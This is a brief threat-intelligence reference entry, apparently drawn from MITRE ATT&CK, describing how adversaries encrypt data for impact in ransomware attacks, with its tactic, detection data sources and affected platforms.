Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
Tactics:	Impact
Data Sources:	File monitoring, Kernel drivers, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre